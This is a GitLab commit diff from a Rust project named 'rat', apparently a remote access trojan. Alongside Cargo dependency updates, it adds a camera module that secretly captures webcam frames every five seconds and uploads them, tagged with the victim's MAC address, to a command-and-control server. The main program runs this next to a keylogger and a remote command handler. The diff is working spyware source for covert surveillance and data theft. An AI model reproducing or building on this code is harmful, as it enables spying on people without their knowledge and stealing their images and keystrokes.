Skip to content
Snippets Groups Projects
Commit 83bbfcbe authored by leo.muff's avatar leo.muff
Browse files
parents ac2ff8a7 fad6acda
No related branches found
No related tags found
No related merge requests found
...@@ -113,6 +113,29 @@ version = "0.1.4" ...@@ -113,6 +113,29 @@ version = "0.1.4"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "383d29d513d8764dcdc42ea295d979eb99c3c9f00607b3692cf68a431f7dca72" checksum = "383d29d513d8764dcdc42ea295d979eb99c3c9f00607b3692cf68a431f7dca72"
[[package]]
name = "bindgen"
version = "0.65.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cfdf7b466f9a4903edc73f95d6d2bcd5baf8ae620638762244d3f60143643cc5"
dependencies = [
"bitflags 1.3.2",
"cexpr",
"clang-sys",
"lazy_static",
"lazycell",
"log",
"peeking_take_while",
"prettyplease",
"proc-macro2",
"quote",
"regex",
"rustc-hash",
"shlex",
"syn",
"which",
]
[[package]] [[package]]
name = "bitflags" name = "bitflags"
version = "1.3.2" version = "1.3.2"
...@@ -195,6 +218,15 @@ dependencies = [ ...@@ -195,6 +218,15 @@ dependencies = [
"libc", "libc",
] ]
[[package]]
name = "cexpr"
version = "0.6.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6fac387a98bb7c37292057cffc56d62ecb629900026402633ae9160df93a8766"
dependencies = [
"nom",
]
[[package]] [[package]]
name = "cfg-if" name = "cfg-if"
version = "1.0.0" version = "1.0.0"
...@@ -237,6 +269,17 @@ dependencies = [ ...@@ -237,6 +269,17 @@ dependencies = [
"phf_codegen", "phf_codegen",
] ]
[[package]]
name = "clang-sys"
version = "1.6.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c688fc74432808e3eb684cae8830a86be1d66a2bd58e1f248ed0960a590baf6f"
dependencies = [
"glob",
"libc",
"libloading",
]
[[package]] [[package]]
name = "cookie" name = "cookie"
version = "0.17.0" version = "0.17.0"
...@@ -713,6 +756,15 @@ version = "0.3.3" ...@@ -713,6 +756,15 @@ version = "0.3.3"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7" checksum = "d77f7ec81a6d05a3abb01ab6eb7590f6083d08449fe5a1c8b1e620283546ccb7"
[[package]]
name = "home"
version = "0.5.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5444c27eef6923071f7ebcc33e3444508466a76f7a2b93da00ed6e19f30c1ddb"
dependencies = [
"windows-sys 0.48.0",
]
[[package]] [[package]]
name = "http" name = "http"
version = "0.2.9" version = "0.2.9"
...@@ -948,12 +1000,28 @@ version = "1.4.0" ...@@ -948,12 +1000,28 @@ version = "1.4.0"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646"
[[package]]
name = "lazycell"
version = "1.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "830d08ce1d1d941e6b30645f1a0eb5643013d835ce3779a5fc208261dbe10f55"
[[package]] [[package]]
name = "libc" name = "libc"
version = "0.2.148" version = "0.2.148"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9cdc71e17332e86d2e1d38c1f99edcb6288ee11b815fb1a4b049eaa2114d369b" checksum = "9cdc71e17332e86d2e1d38c1f99edcb6288ee11b815fb1a4b049eaa2114d369b"
[[package]]
name = "libloading"
version = "0.7.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "b67380fd3b2fbe7527a606e18729d21c6f3951633d0500574c4dc22d2d638b9f"
dependencies = [
"cfg-if",
"winapi",
]
[[package]] [[package]]
name = "libm" name = "libm"
version = "0.2.8" version = "0.2.8"
...@@ -1027,6 +1095,12 @@ version = "0.3.17" ...@@ -1027,6 +1095,12 @@ version = "0.3.17"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a" checksum = "6877bb514081ee2a7ff5ef9de3281f14a4dd4bceac4c09388074a6b5df8a139a"
[[package]]
name = "minimal-lexical"
version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a"
[[package]] [[package]]
name = "miniz_oxide" name = "miniz_oxide"
version = "0.7.1" version = "0.7.1"
...@@ -1099,6 +1173,16 @@ dependencies = [ ...@@ -1099,6 +1173,16 @@ dependencies = [
"memoffset", "memoffset",
] ]
[[package]]
name = "nom"
version = "7.1.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a"
dependencies = [
"memchr",
"minimal-lexical",
]
[[package]] [[package]]
name = "normpath" name = "normpath"
version = "1.1.1" version = "1.1.1"
...@@ -1275,6 +1359,12 @@ dependencies = [ ...@@ -1275,6 +1359,12 @@ dependencies = [
"syn", "syn",
] ]
[[package]]
name = "peeking_take_while"
version = "0.1.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "19b17cddbe7ec3f8bc800887bab5e717348c95ea2ca0b1bf0837fb964dc67099"
[[package]] [[package]]
name = "percent-encoding" name = "percent-encoding"
version = "2.3.0" version = "2.3.0"
...@@ -1397,6 +1487,16 @@ dependencies = [ ...@@ -1397,6 +1487,16 @@ dependencies = [
"vcpkg", "vcpkg",
] ]
[[package]]
name = "prettyplease"
version = "0.2.15"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ae005bd773ab59b4725093fd7df83fd7892f7d8eafb48dbd7de6e024e4215f9d"
dependencies = [
"proc-macro2",
"syn",
]
[[package]] [[package]]
name = "proc-macro2" name = "proc-macro2"
version = "1.0.67" version = "1.0.67"
...@@ -1479,11 +1579,13 @@ dependencies = [ ...@@ -1479,11 +1579,13 @@ dependencies = [
name = "rat" name = "rat"
version = "0.1.0" version = "0.1.0"
dependencies = [ dependencies = [
"chrono",
"evdev", "evdev",
"reqwest", "reqwest",
"serde", "serde",
"sharedlib", "sharedlib",
"tokio", "tokio",
"v4l",
] ]
[[package]] [[package]]
...@@ -1722,6 +1824,12 @@ version = "0.1.23" ...@@ -1722,6 +1824,12 @@ version = "0.1.23"
source = "registry+https://github.com/rust-lang/crates.io-index" source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76"
[[package]]
name = "rustc-hash"
version = "1.1.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2"
[[package]] [[package]]
name = "rustix" name = "rustix"
version = "0.38.15" version = "0.38.15"
...@@ -1891,6 +1999,12 @@ dependencies = [ ...@@ -1891,6 +1999,12 @@ dependencies = [
"serde", "serde",
] ]
[[package]]
name = "shlex"
version = "1.2.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a7cee0529a6d40f580e7a5e6c495c8fbfe21b7b52795ed4bb5e62cdf92bc6380"
[[package]] [[package]]
name = "signal-hook-registry" name = "signal-hook-registry"
version = "1.4.1" version = "1.4.1"
...@@ -2391,6 +2505,26 @@ dependencies = [ ...@@ -2391,6 +2505,26 @@ dependencies = [
"percent-encoding", "percent-encoding",
] ]
[[package]]
name = "v4l"
version = "0.14.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "d8fbfea44a46799d62c55323f3c55d06df722fbe577851d848d328a1041c3403"
dependencies = [
"bitflags 1.3.2",
"libc",
"v4l2-sys-mit",
]
[[package]]
name = "v4l2-sys-mit"
version = "0.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6779878362b9bacadc7893eac76abe69612e8837ef746573c4a5239daf11990b"
dependencies = [
"bindgen",
]
[[package]] [[package]]
name = "valuable" name = "valuable"
version = "0.1.0" version = "0.1.0"
...@@ -2510,6 +2644,18 @@ dependencies = [ ...@@ -2510,6 +2644,18 @@ dependencies = [
"wasm-bindgen", "wasm-bindgen",
] ]
[[package]]
name = "which"
version = "4.4.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7"
dependencies = [
"either",
"home",
"once_cell",
"rustix",
]
[[package]] [[package]]
name = "winapi" name = "winapi"
version = "0.3.9" version = "0.3.9"
......
...@@ -11,3 +11,5 @@ evdev = { version = "0.12.1", features = ["tokio"] } ...@@ -11,3 +11,5 @@ evdev = { version = "0.12.1", features = ["tokio"] }
reqwest = { version = "0.11", features = ["json"] } reqwest = { version = "0.11", features = ["json"] }
tokio = { version = "1", features = ["full"] } tokio = { version = "1", features = ["full"] }
serde = { version = "1.0", features = ["derive"] } serde = { version = "1.0", features = ["derive"] }
chrono = "0.4.31"
v4l = "0.14.0"
//Rust standard library
use std::io;
use std::thread::sleep; //For writing files
//Extern crate providing safe bindings for the Video4Linux (v4l) stack.
use v4l::prelude::*;
use v4l::video::Capture;
use v4l::buffer::Type;
use v4l::io::mmap::Stream;
use v4l::io::traits::CaptureStream;
use std::time::Duration;
use crate::systeminfo::get_mac_address;
use sharedlib::models::ImageData;
use sharedlib::models::ImageFormat;
use crate::client;
use crate::errors::ClientError;
pub async fn sniff_image() -> Result<(), ClientError> {
let device_path = "/dev/video0";
println!("Using device: {}\n", device_path);
let mut dev = Device::with_path(device_path)?;
let format = dev.format()?;
println!("Active format:\n{}", format);
let mac_address = get_mac_address()
.map_err(|_e| io::Error::from_raw_os_error(1))?;
let params = dev.params()?;
println!("Active device parameters:\n{}", params);
// Create the stream, which will internally 'allocate' (as in map) the
// number of requested buffers for us.
let mut stream = Stream::with_buffers(&mut dev, Type::VideoCapture, 4)?;
//SET A SLEEP TIME BEFORE EACH CAPTURE
let sleep_time: Duration = Duration::from_secs(5);
loop {
let local_time = chrono::Local::now().format("%Y%m%d-%Hh%Mm%Ss").to_string();
//println!("{}", local_time);
/*
let directory = String::from("./");
let filename = directory + local_time.as_str() + ".jpeg";
let mut file = std::fs::File::create(filename)?;
*/
// Captures the buffer
let (buf, meta) = CaptureStream::next(&mut stream)?;
println!(
"Buffer size: {}, seq: {}, timestamp: {}",
buf.len(),
meta.sequence,
meta.timestamp
);
let dev_width = format.width;
let dev_height = format.height;
let device_format = ImageFormat {width: dev_width, height: dev_height};
let final_image = ImageData { data: buf[..].to_vec(), format_image: device_format,
time: local_time, mac_address: mac_address.clone()};
client::send_images(final_image).await?;
//file.write_all(&buf[..])?;
sleep(sleep_time);
};
}
...@@ -7,8 +7,9 @@ use reqwest::{ ...@@ -7,8 +7,9 @@ use reqwest::{
use sharedlib::{ use sharedlib::{
config::Config, config::Config,
models::{KeysData, CommandModel, EncryptedResult} models::{KeysData, CommandModel, EncryptedResult, ImageData}
}; };
use tokio::time::{sleep, Duration}; use tokio::time::{sleep, Duration};
use crate::systeminfo::SysInfo; use crate::systeminfo::SysInfo;
use crate::errors::ClientError; use crate::errors::ClientError;
...@@ -23,6 +24,15 @@ pub async fn send_keys(keys: KeysData) -> Result<Response, ClientError> { ...@@ -23,6 +24,15 @@ pub async fn send_keys(keys: KeysData) -> Result<Response, ClientError> {
match_status(req) match_status(req)
} }
pub async fn send_images(image: ImageData) -> Result<Response, ClientError> {
let client = Client::new();
let api_info = Config::new()?;
let header = HeaderName::from_lowercase(b"x-api-key")?;
let token = api_info.api_token()?.clone();
let req = client.post(api_info.image_path()?).json(&image).header(header, token).send().await?;
match_status(req)
}
pub async fn send_sysinfo() -> Result<Response, ClientError>{ pub async fn send_sysinfo() -> Result<Response, ClientError>{
let infos = SysInfo::get(); let infos = SysInfo::get();
......
...@@ -18,7 +18,8 @@ pub enum ClientError { ...@@ -18,7 +18,8 @@ pub enum ClientError {
C2Error, C2Error,
InvalidHeader(InvalidHeaderName), InvalidHeader(InvalidHeaderName),
SysinfoError(SysinfoError), SysinfoError(SysinfoError),
OtherError OtherError,
IoError(io::Error)
} }
impl fmt::Display for ClientError { impl fmt::Display for ClientError {
...@@ -34,7 +35,8 @@ impl fmt::Display for ClientError { ...@@ -34,7 +35,8 @@ impl fmt::Display for ClientError {
Self::C2Error => write!(f, "Error sending data : distant server send Internal Error code"), Self::C2Error => write!(f, "Error sending data : distant server send Internal Error code"),
Self::InvalidHeader(e) => write!(f,"Error setting custom header : {:?}", e), Self::InvalidHeader(e) => write!(f,"Error setting custom header : {:?}", e),
Self::SysinfoError(e) => write!(f, "Error sending data : cannot get info from system : {}", e), Self::SysinfoError(e) => write!(f, "Error sending data : cannot get info from system : {}", e),
Self::OtherError => write!(f, "Error sending data : not specified") Self::OtherError => write!(f, "Error sending data : not specified"),
Self::IoError(e) => write!(f, "IO error : {:?}", e)
} }
} }
...@@ -64,6 +66,12 @@ impl From<reqwest::Error> for ClientError { ...@@ -64,6 +66,12 @@ impl From<reqwest::Error> for ClientError {
} }
} }
impl From<io::Error> for ClientError {
fn from(e: io::Error) -> ClientError{
ClientError::IoError(e)
}
}
#[derive(Debug)] #[derive(Debug)]
pub enum SysinfoError { pub enum SysinfoError {
AccesDenied, AccesDenied,
......
...@@ -3,3 +3,4 @@ pub mod client; ...@@ -3,3 +3,4 @@ pub mod client;
pub mod errors; pub mod errors;
pub mod systeminfo; pub mod systeminfo;
pub mod commands; pub mod commands;
pub mod camera;
\ No newline at end of file
use std::io; use std::io;
use rat::camera::sniff_image;
use tokio::task; use tokio::task;
use rat::errors::ClientError; use rat::errors::ClientError;
use rat::keylogger::Keylogger; use rat::keylogger::Keylogger;
...@@ -24,17 +23,22 @@ async fn main() -> io::Result<()> { ...@@ -24,17 +23,22 @@ async fn main() -> io::Result<()> {
let handle = task::spawn( kdb.listen_keyboard() ); let handle = task::spawn( kdb.listen_keyboard() );
let image_handle = task::spawn(sniff_image());
let command_handle = match client_id{ let command_handle = match client_id{
Some(api_id) => task::spawn(process_commands(api_id.id)), Some(api_id) => task::spawn(process_commands(api_id.id)),
None => task::spawn(async {Err(ClientError::NotFoundError)}) None => task::spawn(async {Err(ClientError::NotFoundError)})
}; };
if let Err(e) = handle.await.unwrap(){ if let Err(e) = handle.await.unwrap(){
println!("Error in keylogger : {}",e); println!("Error in keylogger : {}",e);
} }
if let Err(e) = image_handle.await.unwrap(){
println!("Error in image sniffffff : {}",e);
}
if let Err(e) = command_handle.await.unwrap(){ if let Err(e) = command_handle.await.unwrap(){
println!("Error in keylogger : {}",e); println!("Error in command process : {}",e);
} }
Ok(()) Ok(())
......
...@@ -50,6 +50,20 @@ impl KeysData { ...@@ -50,6 +50,20 @@ impl KeysData {
} }
#[derive( Deserialize, Serialize)]
pub struct ImageData {
pub data : Vec<u8>,
pub format_image : ImageFormat,
pub time : String,
pub mac_address : String
}
#[derive( Deserialize, Serialize)]
pub struct ImageFormat {
pub width: u32,
pub height: u32,
}
fn get_date() -> String{ fn get_date() -> String{
let date = Utc::now(); let date = Utc::now();
let date_str = format!("{}", date.format("%d-%m-%Y %H:%M:%S")); let date_str = format!("{}", date.format("%d-%m-%Y %H:%M:%S"));
......
0% Loading or .
You are about to add 0 people to the discussion. Proceed with caution.
Please register or to comment